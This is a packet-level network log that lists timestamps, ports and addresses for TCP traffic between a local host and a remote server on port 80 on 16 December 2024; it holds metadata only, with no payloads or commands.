Dec 16, 2024 10:38:13.609867096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.609916925 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.610232115 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.610311031 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.610358000 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.610358000 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.610929966 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.611017942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.611052990 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.611067057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.611793995 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.611867905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.611881018 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.611938000 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.612675905 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.612776995 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.612802982 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.612883091 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.613435030 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.613553047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.613581896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.613676071 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.614324093 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.614439011 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.614464998 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.614553928 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.615161896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.615231991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.615309954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.615370035 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.616033077 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.616092920 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.616111040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.616225958 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.616811991 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.616904020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.616961002 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.617038012 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.617899895 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.618001938 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.769964933 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.770057917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.770128965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.770303011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.770350933 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.770425081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.770468950 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.771164894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.771251917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.771270990 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.771330118 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.772027016 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.772142887 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.772262096 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.772854090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.772922039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.772959948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.773010969 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.773699045 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.773781061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.773798943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.773857117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.774692059 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.774755001 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.774804115 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.774846077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.775588989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.775640965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.775641918 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.775685072 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.776685953 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.776735067 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.776813984 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.776855946 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.777483940 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.777533054 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.777605057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.777658939 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.778153896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.778214931 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.778227091 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.778256893 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.778855085 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.778914928 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.778928041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.778979063 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.779644966 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.779692888 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.779752970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.779793978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.780484915 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.780581951 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.780646086 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.781374931 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.781461954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.781528950 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.782164097 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.782224894 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.782264948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.782318115 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.783034086 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.783094883 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.783174992 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.783231020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.783874989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.783931971 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.783972979 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.784024954 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.784703016 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.784756899 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.784822941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.784905910 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.785572052 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.785640001 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.785707951 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.785752058 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.786401987 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.786498070 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.786537886 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.786556959 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.787303925 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.787331104 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.787380934 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.788099051 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.788235903 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.788235903 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.788279057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.788964987 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.789025068 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.789061069 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.789104939 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.789864063 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.789927959 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.790023088 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.790098906 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.790635109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.790702105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.790776014 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.790817022 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.791512012 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.791578054 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.791636944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.791755915 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.792447090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.792494059 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.792501926 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.792550087 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.793459892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.793502092 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.793654919 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.793837070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.794326067 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.794368029 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.794403076 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.794456005 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.794928074 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.794979095 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.795053959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.795228958 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.795767069 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.795875072 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.795933008 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.796041012 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.796556950 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.796669006 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.796732903 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.860716105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.980487108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.303014994 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.303076982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.303143024 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.303179979 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.303422928 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.303519964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.303575039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.303575039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.304218054 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.304275990 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.304313898 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.304359913 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.305092096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.305145979 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.305219889 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.305263042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.305978060 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.306046963 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.306082964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.306165934 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.306826115 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.306884050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.306910992 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.306952953 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.307610989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.307661057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.307666063 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.307707071 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.308505058 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.308556080 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.308583021 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.308624983 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.309309959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.309356928 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.309396982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.309437037 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.310134888 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.310187101 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.310261965 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.310312986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.311008930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.311058998 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.311094999 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.311132908 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.311819077 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.311875105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.311949015 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.311990023 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.312688112 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.312753916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.312798977 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.312840939 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.313529968 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.313571930 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.313637018 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.313678980 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.314408064 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.314445972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.314697027 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.314730883 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.315336943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.315349102 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.315388918 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.315406084 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.316076040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.316118002 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.316160917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.316200972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.316939116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.316979885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.317076921 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.317116976 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.317796946 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.317838907 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.317917109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.318003893 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.318619013 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.318660975 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.318835020 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.318872929 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.319478035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.319529057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.319565058 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.319606066 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.320295095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.320348978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.320408106 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.320451021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.321170092 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.321242094 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.321280956 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.321320057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.321991920 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.322035074 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.322098970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.322134972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.322835922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.322906017 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.322909117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.322958946 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.323698044 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.323735952 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.323801041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.323842049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.324529886 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.324567080 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.324605942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.324645042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.325448036 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.325459957 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.325490952 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.325505018 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.326268911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.326317072 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.326386929 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.326427937 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.327254057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.327305079 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.327353001 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.327395916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.327945948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.327994108 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.328035116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.328078985 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.328850031 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.328896046 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.328984022 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.329024076 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.329608917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.329651117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.329730034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.329768896 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.330470085 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.330533981 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.330593109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.330631971 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.331335068 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.331387043 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.331428051 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.331468105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.332155943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.332199097 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.332329035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.332370996 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.333030939 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.333069086 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.333116055 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.333156109 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.333874941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.333925009 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.333957911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.334002972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.334778070 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.334821939 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.334858894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.334899902 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.335542917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.335599899 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.335633993 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.335674047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.336386919 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.336440086 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.336450100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.336488962 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.337225914 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.337270975 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.337343931 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.337383986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.338057995 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.338129044 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.338169098 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.338211060 CET	49896	80	192.168.2.9	185.215.113.206
